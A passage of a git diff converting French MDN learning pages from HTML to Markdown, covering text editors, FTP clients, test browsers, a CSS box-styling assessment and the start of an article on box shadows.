contribuer</a>.</em></p> +_Il n'y a, pour le moment, pas de matériau pour la pédagogie active. [Cependant, vous pouvez contribuer](/fr/docs/MDN/D%C3%A9buter_sur_MDN)._ -<h2 id="Aller_plus_loin">Aller plus loin</h2> +## Aller plus loin -<h3 id="Créer_et_éditer_des_pages_web">Créer et éditer des pages web</h3> +### Créer et éditer des pages web -<p>Pour créer et éditer un site web, vous aurez besoin d'un éditeur de texte. Les éditeurs de texte permettent de créer et de modifier des fichiers dont le contenu est du texte, sans aucune mise en forme (d'autres formats comme <strong>{{Glossary("RTF")}}</strong> vous permettent d'ajouter une mise en forme sur un fichier (comme le gras ou le soulignement) mais ils ne sont pas utilisables pour écrire des pages web). Le choix d'un éditeur de texte est important car vous allez devoir l'utiliser de façon intensive lorsque vous allez construire votre site.</p> +Pour créer et éditer un site web, vous aurez besoin d'un éditeur de texte. Les éditeurs de texte permettent de créer et de modifier des fichiers dont le contenu est du texte, sans aucune mise en forme (d'autres formats comme **{{Glossary("RTF")}}** vous permettent d'ajouter une mise en forme sur un fichier (comme le gras ou le soulignement) mais ils ne sont pas utilisables pour écrire des pages web). Le choix d'un éditeur de texte est important car vous allez devoir l'utiliser de façon intensive lorsque vous allez construire votre site. -<p>Tous les systèmes d'exploitations possèdent un éditeur de texte basique par défaut. Ces éditeurs sont plutôt simples à manipuler mais n'ont pas certaines fonctionnalités utiles au développement web. Si vous souhaitez choisir un autre éditeur que celui par défaut, il y en a une myriade qui sont disponibles, dont certains gratuits. Les éditeurs de texte tiers pourront inclure des fonctionnalités supplémentaires comme la coloration syntaxique, l'auto-complétion, le repli de sections, la recherche avancée, etc. Voici une très courte liste d'éditeurs disponibles :</p> +Tous les systèmes d'exploitations possèdent un éditeur de texte basique par défaut. Ces éditeurs sont plutôt simples à manipuler mais n'ont pas certaines fonctionnalités utiles au développement web. Si vous souhaitez choisir un autre éditeur que celui par défaut, il y en a une myriade qui sont disponibles, dont certains gratuits. Les éditeurs de texte tiers pourront inclure des fonctionnalités supplémentaires comme la coloration syntaxique, l'auto-complétion, le repli de sections, la recherche avancée, etc. Voici une très courte liste d'éditeurs disponibles : <table class="standard-table"> - <thead> - <tr> - <th scope="col">Système d'exploitation</th> - <th scope="col">Éditeur natif par défaut</th> - <th scope="col">Éditeur tiers</th> - </tr> - </thead> - <tbody> - <tr> - <td>Windows</td> - <td> - <ul> - <li><a href="https://fr.wikipedia.org/wiki/Bloc-notes_%28Windows%29" rel="external">Bloc-notes</a></li> - </ul> - </td> - <td> - <ul> - <li><a href="http://notepad-plus-plus.org/fr/">Notepad++</a></li> - <li><a href="https://www.visualstudio.com">Visual Studio Code</a></li> - <li><a href="https://www.jetbrains.com/webstorm">Web Storm</a></li> - <li><a href="http://brackets.io">Brackets</a></li> - <li><a href="https://shiftedit.net">ShiftEdit</a></li> - <li><a href="https://www.sublimetext.com">Sublime Text</a></li> - </ul> - </td> - </tr> - <tr> - <td>Mac OS</td> - <td> - <ul> - <li><a href="http://fr.wikipedia.org/wiki/TextEdit" rel="external">TextEdit</a></li> - </ul> - </td> - <td> - <ul> - <li><a href="http://www.barebones.com/products/textwrangler/">TextWrangler</a></li> - <li><a href="https://www.visualstudio.com">Visual Studio Code</a></li> - <li><a href="http://brackets.io">Brackets</a></li> - <li><a href="https://shiftedit.net">ShiftEdit</a></li> - <li><a href="https://www.sublimetext.com">Sublime Text</a></li> - </ul> - </td> - </tr> - <tr> - <td>Linux</td> - <td> - <ul> - <li><a href="http://fr.wikipedia.org/wiki/Vi" rel="external">Vi</a> (tout système UNIX)</li> - <li><a href="http://fr.wikipedia.org/wiki/Gedit" rel="external">GEdit</a> (Gnome)</li> - <li><a href="https://fr.wikipedia.org/wiki/Kate_%28logiciel%29" rel="external">Kate</a> (KDE)</li> - <li><a href="https://en.wikipedia.org/wiki/Leafpad">LeafPad</a> (Xfce)</li> - </ul> - </td> - <td> - <ul> - <li><a href="http://www.gnu.org/software/emacs/">Emacs</a></li> - <li><a href="http://www.vim.org/" rel="external">Vim</a></li> - <li><a href="https://www.visualstudio.com">Visual Studio Code</a></li> - <li><a href="http://brackets.io">Brackets</a></li> - <li><a href="https://shiftedit.net">ShiftEdit</a></li> - <li><a href="https://www.sublimetext.com">Sublime Text</a></li> - </ul> - </td> - </tr> - <tr> - <td>Chrome OS</td> - <td></td> - <td> - <ul> - <li><a href="https://shiftedit.net">ShiftEdit</a></li> - </ul> - </td> - </tr> - </tbody> + <thead> + <tr> + <th scope="col">Système d'exploitation</th> + <th scope="col">Éditeur natif par défaut</th> + <th scope="col">Éditeur tiers</th> + </tr> + </thead> + <tbody> + <tr> + <td>Windows</td> + <td> + <ul> + <li> + <a + href="https://fr.wikipedia.org/wiki/Bloc-notes_%28Windows%29" + rel="external" + >Bloc-notes</a + > + </li> + </ul> + </td> + <td> + <ul> + <li><a href="http://notepad-plus-plus.org/fr/">Notepad++</a></li> + <li><a href="https://www.visualstudio.com">Visual Studio Code</a></li> + <li><a href="https://www.jetbrains.com/webstorm">Web Storm</a></li> + <li><a href="http://brackets.io">Brackets</a></li> + <li><a href="https://shiftedit.net">ShiftEdit</a></li> + <li><a href="https://www.sublimetext.com">Sublime Text</a></li> + </ul> + </td> + </tr> + <tr> + <td>Mac OS</td> + <td> + <ul> + <li> + <a href="http://fr.wikipedia.org/wiki/TextEdit" rel="external" + >TextEdit</a + > + </li> + </ul> + </td> + <td> + <ul> + <li> + <a href="http://www.barebones.com/products/textwrangler/" + >TextWrangler</a + > + </li> + <li><a href="https://www.visualstudio.com">Visual Studio Code</a></li> + <li><a href="http://brackets.io">Brackets</a></li> + <li><a href="https://shiftedit.net">ShiftEdit</a></li> + <li><a href="https://www.sublimetext.com">Sublime Text</a></li> + </ul> + </td> + </tr> + <tr> + <td>Linux</td> + <td> + <ul> + <li> + <a href="http://fr.wikipedia.org/wiki/Vi" rel="external">Vi</a> + (tout système UNIX) + </li> + <li> + <a href="http://fr.wikipedia.org/wiki/Gedit" rel="external" + >GEdit</a + > + (Gnome) + </li> + <li> + <a + href="https://fr.wikipedia.org/wiki/Kate_%28logiciel%29" + rel="external" + >Kate</a + > + (KDE) + </li> + <li> + <a href="https://en.wikipedia.org/wiki/Leafpad">LeafPad</a> (Xfce) + </li> + </ul> + </td> + <td> + <ul> + <li><a href="http://www.gnu.org/software/emacs/">Emacs</a></li> + <li><a href="http://www.vim.org/" rel="external">Vim</a></li> + <li><a href="https://www.visualstudio.com">Visual Studio Code</a></li> + <li><a href="http://brackets.io">Brackets</a></li> + <li><a href="https://shiftedit.net">ShiftEdit</a></li> + <li><a href="https://www.sublimetext.com">Sublime Text</a></li> + </ul> + </td> + </tr> + <tr> + <td>Chrome OS</td> + <td></td> + <td> + <ul> + <li><a href="https://shiftedit.net">ShiftEdit</a></li> + </ul> + </td> + </tr> + </tbody> </table> -<p>Voici une capture d'écran qui illustre l'allure d'un éditeur de texte avancé (ici Notepad++) :</p> +Voici une capture d'écran qui illustre l'allure d'un éditeur de texte avancé (ici Notepad++) : -<p><img alt="Screenshot of Notepad++." src="NotepadPlusPlus.png"></p> + -<h3 id="Transférer_des_fichiers_vers_un_serveur_web">Transférer des fichiers vers un serveur web</h3> +### Transférer des fichiers vers un serveur web -<p>Lorsque votre site web est peaufiné, testé et est prêt à être publié, vous devrez téléverser (<em>uploader</em>) vos fichiers vers votre serveur web (pour l'achat de l'espace serveur, voir l'article<a href="/fr/docs/Learn/How_much_does_it_cost"> combien ça coûte de publier quelque chose sur le Web ?</a>). Une fois que vous disposez d'un serveur via votre fournisseur, celui-ci vous enverra les informations d'accès FTP (pour <em>File Transfer Protocol</em> ou protocole de transfert de fichiers), souvent en donnant une URL SFTP, un nom d'utilisateur, un mot de passe et d'autres informations nécessaires à la connexion au serveur. Sachez toutefois que le FTP est une technique vieillissante et que de nouveaux systèmes commencent à devenir populaires, comme <a href="https://en.wikipedia.org/wiki/Rsync">RSync</a> et <a href="https://help.github.com/articles/using-a-custom-domain-with-github-pages">Git/Github</a>.</p> +Lorsque votre site web est peaufiné, testé et est prêt à être publié, vous devrez téléverser (_uploader_) vos fichiers vers votre serveur web (pour l'achat de l'espace serveur, voir l'article[ combien ça coûte de publier quelque chose sur le Web ?](/fr/docs/Learn/How_much_does_it_cost)). Une fois que vous disposez d'un serveur via votre fournisseur, celui-ci vous enverra les informations d'accès FTP (pour _File Transfer Protocol_ ou protocole de transfert de fichiers), souvent en donnant une URL SFTP, un nom d'utilisateur, un mot de passe et d'autres informations nécessaires à la connexion au serveur. Sachez toutefois que le FTP est une technique vieillissante et que de nouveaux systèmes commencent à devenir populaires, comme [RSync](https://en.wikipedia.org/wiki/Rsync) et [Git/Github](https://help.github.com/articles/using-a-custom-domain-with-github-pages). -<div class="note"> -<p><strong>Note :</strong> FTP est par nature non sécurisé. Vous devez toujours vous assurer que votre fournisseur d'hébergement vous autorise à vous connecter de manière sécurisée, c'est-à-dire via SFTP (<em>Secure</em> FTP) ou via RSync avec SSH.</p> -</div> +> **Note :** FTP est par nature non sécurisé. Vous devez toujours vous assurer que votre fournisseur d'hébergement vous autorise à vous connecter de manière sécurisée, c'est-à-dire via SFTP (_Secure_ FTP) ou via RSync avec SSH. -<p>Le téléversement des fichiers vers un serveur web est une étape importante dans la publication d'un site web et nous la décrivons beaucoup plus en détails <a href="/fr/docs/Learn/Upload_files_to_a_web_server">dans un article à part</a>. Voyons tout de même une liste de clients FTP basiques :</p> +Le téléversement des fichiers vers un serveur web est une étape importante dans la publication d'un site web et nous la décrivons beaucoup plus en détails [dans un article à part](/fr/docs/Learn/Upload_files_to_a_web_server). Voyons tout de même une liste de clients FTP basiques : <table class="standard-table"> - <thead> - <tr> - <th scope="col">Système d'exploitation</th> - <th colspan="2" rowspan="1" scope="col" style="text-align: center;">Logiciel client FTP</th> - </tr> - </thead> - <tbody> - <tr> - <td>Windows</td> - <td><a href="http://winscp.net" rel="external">WinSCP</a></td> - <td colspan="1" rowspan="3"><a href="https://filezilla-project.org/">FileZilla</a> (tout système d'exploitation)</td> - </tr> - <tr> - <td>Linux</td> - <td><a href="https://live.gnome.org/Nautilus" rel="external">Nautilus</a> (Gnome)<br> - <a href="http://www.konqueror.org/">Konqueror</a> (KDE)</td> - </tr> - <tr> - <td>Mac OS</td> - <td><a href="http://cyberduck.de/">Cyberduck</a></td> - </tr> - </tbody> + <thead> + <tr> + <th scope="col">Système d'exploitation</th> + <th colspan="2" rowspan="1" scope="col" style="text-align: center"> + Logiciel client FTP + </th> + </tr> + </thead> + <tbody> + <tr> + <td>Windows</td> + <td><a href="http://winscp.net" rel="external">WinSCP</a></td> + <td colspan="1" rowspan="3"> + <a href="https://filezilla-project.org/">FileZilla</a> (tout système + d'exploitation) + </td> + </tr> + <tr> + <td>Linux</td> + <td> + <a href="https://live.gnome.org/Nautilus" rel="external">Nautilus</a> + (Gnome)<br /><a href="http://www.konqueror.org/">Konqueror</a> (KDE) + </td> + </tr> + <tr> + <td>Mac OS</td> + <td><a href="http://cyberduck.de/">Cyberduck</a></td> + </tr> + </tbody> </table> -<h3 id="Visualiser_des_sites_web">Visualiser des sites web</h3> +### Visualiser des sites web -<p>Comme vous le savez sans doute déjà, vous avez besoin d'un navigateur web pour visualiser des pages web. De <a href="http://en.wikipedia.org/wiki/List_of_web_browsers">nombreux</a> navigateurs existent que vous pouvez utiliser de façon personnelle. Toutefois, lorsqu'on développe un site web, il faut au moins le tester sur les navigateurs les plus utilisés afin de s'assurer que le site fonctionne pour la plupart des personnes :</p> +Comme vous le savez sans doute déjà, vous avez besoin d'un navigateur web pour visualiser des pages web. De [nombreux](http://en.wikipedia.org/wiki/List_of_web_browsers) navigateurs existent que vous pouvez utiliser de façon personnelle. Toutefois, lorsqu'on développe un site web, il faut au moins le tester sur les navigateurs les plus utilisés afin de s'assurer que le site fonctionne pour la plupart des personnes : -<ul> - <li><a href="https://www.mozilla.org/firefox/new/">Mozilla Firefox</a></li> - <li><a href="https://www.google.fr/chrome/browser/" rel="external">Google Chrome</a></li> - <li><a href="http://windows.microsoft.com/fr-fr/internet-explorer/download-ie">Microsoft Internet Explorer</a></li> - <li><a href="http://www.apple.com/safari/" rel="external">Apple Safari</a></li> -</ul> +- [Mozilla Firefox](https://www.mozilla.org/firefox/new/) +- [Google Chrome](https://www.google.fr/chrome/browser/) +- [Microsoft Internet Explorer](http://windows.microsoft.com/fr-fr/internet-explorer/download-ie) +- [Apple Safari](http://www.apple.com/safari/) -<p>Si votre site s'adresse à un public particulier (par exemple un pays spécifique ou une plate-forme donnée), vous pourrez avoir à tester votre site sur des navigateurs supplémentaires comme <a href="http://www.opera.com/" rel="external">Opera</a>, <a href="http://dolphin.com/" rel="external">Dolphin</a> ou<a href="http://www.ucweb.com/ucbrowser/" rel="external"> UC Browser</a>.</p> +Si votre site s'adresse à un public particulier (par exemple un pays spécifique ou une plate-forme donnée), vous pourrez avoir à tester votre site sur des navigateurs supplémentaires comme [Opera](http://www.opera.com/), [Dolphin](http://dolphin.com/) ou[ UC Browser](http://www.ucweb.com/ucbrowser/). -<p>Cela se complique quand on réalise que certains navigateurs ne fonctionnent que sur certains systèmes d'exploitation. Apple Safari ne fonctionne que sur iOS et Mac OS, Internet Explorer ne fonctionne que sur Windows, etc. Face à ce problème, mieux vaut tirer parti de services comme <a href="http://browsershots.org/" rel="external">Browsershots</a> ou <a href="http://www.browserstack.com/" rel="external">Browserstack</a>. Browsershots fournit des captures d'écran de votre site, tel qu'il est rendu dans les différents navigateurs. Browserstack vous permet de complètement contrôler des machines virtuelles afin que vous puissiez tester votre site sur les environnements les plus fréquents. Sinon, vous pouvez mettre en place votre propre machine virtuelle mais cela demandera quelques connaissances (si vous choisissez cette option, Microsoft met à disposition, sur <a href="https://modern.ie" rel="external">modern.ie</a>, une machine virtuelle prête à être utilisée).</p> +Cela se complique quand on réalise que certains navigateurs ne fonctionnent que sur certains systèmes d'exploitation. Apple Safari ne fonctionne que sur iOS et Mac OS, Internet Explorer ne fonctionne que sur Windows, etc. Face à ce problème, mieux vaut tirer parti de services comme [Browsershots](http://browsershots.org/) ou [Browserstack](http://www.browserstack.com/). Browsershots fournit des captures d'écran de votre site, tel qu'il est rendu dans les différents navigateurs. Browserstack vous permet de complètement contrôler des machines virtuelles afin que vous puissiez tester votre site sur les environnements les plus fréquents. Sinon, vous pouvez mettre en place votre propre machine virtuelle mais cela demandera quelques connaissances (si vous choisissez cette option, Microsoft met à disposition, sur [modern.ie](https://modern.ie), une machine virtuelle prête à être utilisée). -<p>Dans tous les cas, vous devrez tester votre site sur de vrais appareils, notamment pour les appareils mobiles. La simulation mobile en est encore à ses débuts et est moins stable que la simulation d'ordinateur fixes. Bien entendu, acquérir des appareils mobiles représente un certain budget et nous vous conseillons de consulter l'initiative <a href="http://opendevicelab.com/" rel="external">Open Device Lab</a>. Vous pouvez également partager les appareils à plusieurs si vous souhaitez tester sur un maximum de plates-formes sans trop dépenser.</p> +Dans tous les cas, vous devrez tester votre site sur de vrais appareils, notamment pour les appareils mobiles. La simulation mobile en est encore à ses débuts et est moins stable que la simulation d'ordinateur fixes. Bien entendu, acquérir des appareils mobiles représente un certain budget et nous vous conseillons de consulter l'initiative [Open Device Lab](http://opendevicelab.com/). Vous pouvez également partager les appareils à plusieurs si vous souhaitez tester sur un maximum de plates-formes sans trop dépenser. -<h2 id="Prochaines_étapes">Prochaines étapes</h2> +## Prochaines étapes -<ul> - <li>Certains de ces logiciels sont libres et/ou gratuits, d'autres ne le sont pas. <a href="/fr/docs/Learn/How_much_does_it_cost">En savoir plus sur le coût d'un site web.</a></li> - <li>Si vous souhaitez en apprendre plus sur les éditeurs de texte et choisir celui qui sera le plus adapté, consultez notre article sur <a href="/fr/Apprendre/Choisir_installer_paramétrer_un_éditeur_de_texte">comment choisir, installer et paramétrer son éditeur de texte</a>.</li> - <li>Si vous vous demandez comment publier votre site web sur le Web, jetez un coup d'œil à <a href="/fr/docs/Apprendre/Upload_files_to_a_web_server">« Comment transférer des fichiers vers un serveur web »</a>.</li> -</ul> +- Certains de ces logiciels sont libres et/ou gratuits, d'autres ne le sont pas. [En savoir plus sur le coût d'un site web.](/fr/docs/Learn/How_much_does_it_cost) +- Si vous souhaitez en apprendre plus sur les éditeurs de texte et choisir celui qui sera le plus adapté, consultez notre article sur [comment choisir, installer et paramétrer son éditeur de texte](/fr/Apprendre/Choisir_installer_paramétrer_un_éditeur_de_texte). +- Si vous vous demandez comment publier votre site web sur le Web, jetez un coup d'œil à [« Comment transférer des fichiers vers un serveur web »](/fr/docs/Apprendre/Upload_files_to_a_web_server). diff --git a/files/fr/learn/css/building_blocks/a_cool_looking_box/index.md b/files/fr/learn/css/building_blocks/a_cool_looking_box/index.md index da13496b05..5be0014eeb 100644 --- a/files/fr/learn/css/building_blocks/a_cool_looking_box/index.md +++ b/files/fr/learn/css/building_blocks/a_cool_looking_box/index.md @@ -14,86 +14,80 @@ tags: translation_of: Learn/CSS/Building_blocks/A_cool_looking_box original_slug: Apprendre/CSS/styliser_boites/A_cool_looking_box --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenu("Learn/CSS/Styling_boxes/Creating_fancy_letterheaded_paper", "Learn/CSS/Styling_boxes")}} -<div>{{PreviousMenu("Learn/CSS/Styling_boxes/Creating_fancy_letterheaded_paper", "Learn/CSS/Styling_boxes")}}</div> - -<p>Avec cette évaluation, vous obtiendrez une meilleure pratique dans la création de boîtes d'aspect rafraîchissant en faisant en sorte qu'elles attirent le regard.</p> +Avec cette évaluation, vous obtiendrez une meilleure pratique dans la création de boîtes d'aspect rafraîchissant en faisant en sorte qu'elles attirent le regard. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Avant de faire cet exercice vous devez avoir vu tous les articles de ce module.</td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>Tester votre compréhension du modèle de boîte CSS et toutes les fonctionnalités associées comme les encadrements et les arrière‑plans.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Avant de faire cet exercice vous devez avoir vu tous les articles de ce + module. + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td> + Tester votre compréhension du modèle de boîte CSS et toutes les + fonctionnalités associées comme les encadrements et les arrière‑plans. + </td> + </tr> + </tbody> </table> -<h2 id="Départ">Départ</h2> +## Départ + +Pour débuter, vous devez : -<p>Pour débuter, vous devez :</p> +- faire des copies locales de ces [HTML](https://github.com/mdn/learning-area/blob/master/css/styling-boxes/cool-information-box-start/index.html) et [CSS](https://github.com/mdn/learning-area/blob/master/css/styling-boxes/cool-information-box-start/style.css) — enregistrez‑les sous les noms `index.html` et `style.css` dans un nouveau répertoire. -<ul> - <li>faire des copies locales de ces <a href="https://github.com/mdn/learning-area/blob/master/css/styling-boxes/cool-information-box-start/index.html">HTML</a> et <a href="https://github.com/mdn/learning-area/blob/master/css/styling-boxes/cool-information-box-start/style.css">CSS</a> — enregistrez‑les sous les noms <code>index.html</code> et <code>style.css</code> dans un nouveau répertoire.</li> -</ul> +> **Note :** Autrement, vous pouvez utiliser un site comme [JSBin](http://jsbin.com/) ou [Thimble](https://thimble.mozilla.org/) pour faire cet exercice. Collez le HTML et complétez la CSS dans un des éditeurs en ligne. Si l'éditeur en ligne que vous utilisez ne dispose pas d'un panneau séparé pour la CSS, vous pouvez le mettre dans un élément `<style>` dans l'élément `head` du document. -<div class="note"> -<p><strong>Note :</strong> Autrement, vous pouvez utiliser un site comme <a class="external external-icon" href="http://jsbin.com/">JSBin</a> ou <a class="external external-icon" href="https://thimble.mozilla.org/">Thimble</a> pour faire cet exercice. Collez le HTML et complétez la CSS dans un des éditeurs en ligne. Si l'éditeur en ligne que vous utilisez ne dispose pas d'un panneau séparé pour la CSS, vous pouvez le mettre dans un élément <code><style></code> dans l'élément <code>head</code> du document.</p> -</div> +## Résumé du projet -<h2 id="Résumé_du_projet">Résumé du projet</h2> +Votre tâche consiste à créer une boîte élégante et rafraîchissante tout en explorant le côté ludique des CSS. -<p>Votre tâche consiste à créer une boîte élégante et rafraîchissante tout en explorant le côté ludique des CSS.</p> +### Généralités -<h3 id="Généralités">Généralités</h3> +- Appliquez la CSS au HTML. -<ul> - <li>Appliquez la CSS au HTML.</li> -</ul> +### Composition de la boîte -<h3 id="Composition_de_la_boîte">Composition de la boîte</h3> +Vous devez appliquer un style à l'élément {{htmlelement("p")}} en lui donnant : -<p>Vous devez appliquer un style à l'élément {{htmlelement("p")}} en lui donnant :</p> +- une largeur raisonnable pour un gros bouton, disons autout de 200 pixels, +- une hauteur raisonnable pour un gros bouton en centrant le texte verticalement dans ce processus, +- un texte centré horizontalement, +- une taille de texte légérement augmentée, vers 17-18 pixels. Utilisez les rem comme unité. Écrivez un commentaire sur la façon dont vous avez opéré pour le calcul de la valeur. +- une couleur de base pour l'aspect général. Cette couleur de boîte sera celle de son arrière‑plan. +- la même couleur pour le texte. Faites en sorte qu'il soit lisible en le dotant d'un ombrage de couleur noire. +- un encadrement avec des coins arrondis subtils, +- un encadrement de 1-pixel uni de couleur similaire à la couleur de base, mais légérement plus foncée. +- un gradient linéaire noir semi‑transparent à partir du coin inférieur droit. Faites‑le totalement transparent au départ et donnez‑lui une opacité croissante de 0,2 sur 30% de la longueur puis restant de la même couleur jusqu'à l'autre extrémité. +- des ombres de boîte multiples. Donnez lui un ombrage la faisant ressortir légérement de la page. Les autres deux seront des ombres avec la propriété `inset` — une ombre blanche semi-transparente près de l'angle supérieur gauche et une ombre semi‑transparent noir près de l'angle inférieur droit — pour donner un aspect surélevé 3D à la boîte. -<ul> - <li>une largeur raisonnable pour un gros bouton, disons autout de 200 pixels,</li> - <li>une hauteur raisonnable pour un gros bouton en centrant le texte verticalement dans ce processus,</li> - <li>un texte centré horizontalement,</li> - <li>une taille de texte légérement augmentée, vers 17-18 pixels. Utilisez les rem comme unité. Écrivez un commentaire sur la façon dont vous avez opéré pour le calcul de la valeur.</li> - <li>une couleur de base pour l'aspect général. Cette couleur de boîte sera celle de son arrière‑plan.</li> - <li>la même couleur pour le texte. Faites en sorte qu'il soit lisible en le dotant d'un ombrage de couleur noire.</li> - <li>un encadrement avec des coins arrondis subtils,</li> - <li>un encadrement de 1-pixel uni de couleur similaire à la couleur de base, mais légérement plus foncée.</li> - <li>un gradient linéaire noir semi‑transparent à partir du coin inférieur droit. Faites‑le totalement transparent au départ et donnez‑lui une opacité croissante de 0,2 sur 30% de la longueur puis restant de la même couleur jusqu'à l'autre extrémité.</li> - <li>des ombres de boîte multiples. Donnez lui un ombrage la faisant ressortir légérement de la page. Les autres deux seront des ombres avec la propriété <code>inset</code> — une ombre blanche semi-transparente près de l'angle supérieur gauche et une ombre semi‑transparent noir près de l'angle inférieur droit — pour donner un aspect surélevé 3D à la boîte.</li> -</ul> +## Exemple -<h2 id="Exemple">Exemple</h2> +Cette capture d'écran montre un exemple de ce à quoi l'aspect final pourrait ressembler : -<p>Cette capture d'écran montre un exemple de ce à quoi l'aspect final pourrait ressembler :</p> + -<p><img alt="" src="fancy-box.png"></p> +## Évaluation -<h2 id="Évaluation">Évaluation</h2> +Si vous faites cet exercice dans le cadre d'un cours organisé, vous devez pouvoir donner votre travail à votre professeur pour notation. Si vous faites de l'auto-formation, vous pouvez obtenir le guide de notation très facilement en le demandant sur [le fil de discussion à propos de cet exercice](https://discourse.mozilla.org/t/fundamental-css-comprehension-assessment/24682) ou par l'intermédiaire du canal IRC [#mdn](irc://irc.mozilla.org/mdn) sur [Mozilla IRC](https://wiki.mozilla.org/IRC). Faites l'exercice d'abord, il n'y rien à gagner en trichant ! -<p>Si vous faites cet exercice dans le cadre d'un cours organisé, vous devez pouvoir donner votre travail à votre professeur pour notation. Si vous faites de l'auto-formation, vous pouvez obtenir le guide de notation très facilement en le demandant sur <a class="external external-icon" href="https://discourse.mozilla.org/t/fundamental-css-comprehension-assessment/24682" rel="noopener">le fil de discussion à propos de cet exercice</a> ou par l'intermédiaire du canal IRC <a href="irc://irc.mozilla.org/mdn">#mdn</a> sur <a class="external external-icon" href="https://wiki.mozilla.org/IRC" rel="noopener">Mozilla IRC</a>. Faites l'exercice d'abord, il n'y rien à gagner en trichant !</p> +{{PreviousMenu("Learn/CSS/Styling_boxes/Creating_fancy_letterheaded_paper", "Learn/CSS/Styling_boxes")}} -<p>{{PreviousMenu("Learn/CSS/Styling_boxes/Creating_fancy_letterheaded_paper", "Learn/CSS/Styling_boxes")}}</p> -<p> </p> -<h2 id="Dans_ce_module">Dans ce module</h2> +## Dans ce module -<ul> - <li><a href="/fr/Apprendre/CSS/styliser_boites/Box_model_recap">Le modèle de boîte : récapitulatif</a></li> - <li><a href="/fr/Apprendre/CSS/styliser_boites/Backgrounds">Arrière-plans</a></li> - <li><a href="/fr/docs/Apprendre/CSS/styliser_boites/Borders">Encadrements</a></li> - <li><a href="/fr/Apprendre/CSS/styliser_boites/Styling_tables">Mise en page des tableaux</a></li> - <li><a href="/fr/Apprendre/CSS/styliser_boites/Advanced_box_effects">Effets de boîte avancés</a></li> - <li><a href="/fr/docs/Learn/CSS/Styling_boxes/Creating_fancy_letterheaded_paper">Creation d'un en-tête de papier à lettre élégant</a></li> - <li><a href="/fr/Apprendre/CSS/styliser_boites/A_cool_looking_box">Une boîte d'aspect rafraîchissant</a></li> -</ul> +- [Le modèle de boîte : récapitulatif](/fr/Apprendre/CSS/styliser_boites/Box_model_recap) +- [Arrière-plans](/fr/Apprendre/CSS/styliser_boites/Backgrounds) +- [Encadrements](/fr/docs/Apprendre/CSS/styliser_boites/Borders) +- [Mise en page des tableaux](/fr/Apprendre/CSS/styliser_boites/Styling_tables) +- [Effets de boîte avancés](/fr/Apprendre/CSS/styliser_boites/Advanced_box_effects) +- [Creation d'un en-tête de papier à lettre élégant](/fr/docs/Learn/CSS/Styling_boxes/Creating_fancy_letterheaded_paper) +- [Une boîte d'aspect rafraîchissant](/fr/Apprendre/CSS/styliser_boites/A_cool_looking_box) diff --git a/files/fr/learn/css/building_blocks/advanced_styling_effects/index.md b/files/fr/learn/css/building_blocks/advanced_styling_effects/index.md index 3d0b3c1fe5..579e5cccc9 100644 --- a/files/fr/learn/css/building_blocks/advanced_styling_effects/index.md +++ b/files/fr/learn/css/building_blocks/advanced_styling_effects/index.md @@ -15,43 +15,53 @@ tags: translation_of: Learn/CSS/Building_blocks/Advanced_styling_effects original_slug: Apprendre/CSS/Building_blocks/Advanced_styling_effects --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Styling_boxes/Styling tables", "Learn/CSS/Styling_boxes/Creating_fancy_letterheaded_paper", "Learn/CSS/Styling_boxes")}} -<div>{{PreviousMenuNext("Learn/CSS/Styling_boxes/Styling tables", "Learn/CSS/Styling_boxes/Creating_fancy_letterheaded_paper", "Learn/CSS/Styling_boxes")}}</div> - -<p>Cet article est une sorte de boîte à malices : elle introduit certaines des fonctions avancées disponibles pour styliser les boîtes, fonctions n'entrant pas dans catégories vues plus haut — comme les ombres, les mélanges de couleurs ou les filtres.</p> +Cet article est une sorte de boîte à malices : elle introduit certaines des fonctions avancées disponibles pour styliser les boîtes, fonctions n'entrant pas dans catégories vues plus haut — comme les ombres, les mélanges de couleurs ou les filtres. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Notions de HTML (voir <a href="/fr/docs/Learn/HTML/Introduction_to_HTML">Introduction à HTML</a>) et idées sur le fonctionnement des CSS (voir <a href="/fr/docs/Learn/CSS/Introduction_to_CSS">Introduction aux CSS</a>).</td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>Donner des idées sur l'utilisation d'effets avancés pour les boîtes et apprendre quelques outils de style natifs propres au langage des CSS.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Notions de HTML (voir + <a href="/fr/docs/Learn/HTML/Introduction_to_HTML" + >Introduction à HTML</a + >) et idées sur le fonctionnement des CSS (voir + <a href="/fr/docs/Learn/CSS/Introduction_to_CSS">Introduction aux CSS</a + >). + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td> + Donner des idées sur l'utilisation d'effets avancés pour les boîtes et + apprendre quelques outils de style natifs propres au langage des CSS. + </td> + </tr> + </tbody> </table> -<h2 id="Ombres_des_boîtes">Ombres des boîtes</h2> - -<p>Revenons au module <a href="/fr/docs/Learn/CSS/Styling_text">Styling text</a> — nous y avons vu la propriété {{cssxref("text-shadow")}} : elle permet d'appliquer une ou plusieurs ombres portées au texte d'un élément. Il existe une propriété équivalente pour les boîtes — {{cssxref("box-shadow")}} : elle applique une ou plusieurs ombres portées à une boîte d'élément réelle. Tout comme les ombres de texte, les ombres de boîtes sont bien prises en charge par les navigateurs, mais seulement au-delà de IE9. Les utilisateurs des anciennes versions d'IE pourraient être confrontés à l'absence d'ombres ; donc, testez simplement vos designs pour être sûr que le contenu reste lisible sans ombrage.</p> +## Ombres des boîtes -<p>Vous trouverez les exemples de cet article dans le fichier <a href="http://mdn.github.io/learning-area/css/styling-boxes/advanced_box_effects/box-shadow.html">box-shadow.html</a> (voir le <a href="https://github.com/mdn/learning-area/blob/master/css/styling-boxes/advanced_box_effects/box-shadow.html">code source</a> également).</p> +Revenons au module [Styling text](/fr/docs/Learn/CSS/Styling_text) — nous y avons vu la propriété {{cssxref("text-shadow")}} : elle permet d'appliquer une ou plusieurs ombres portées au texte d'un élément. Il existe une propriété équivalente pour les boîtes — {{cssxref("box-shadow")}} : elle applique une ou plusieurs ombres portées à une boîte d'élément réelle. Tout comme les ombres de texte, les ombres de boîtes sont bien prises en charge par les navigateurs, mais seulement au-delà de IE9. Les utilisateurs 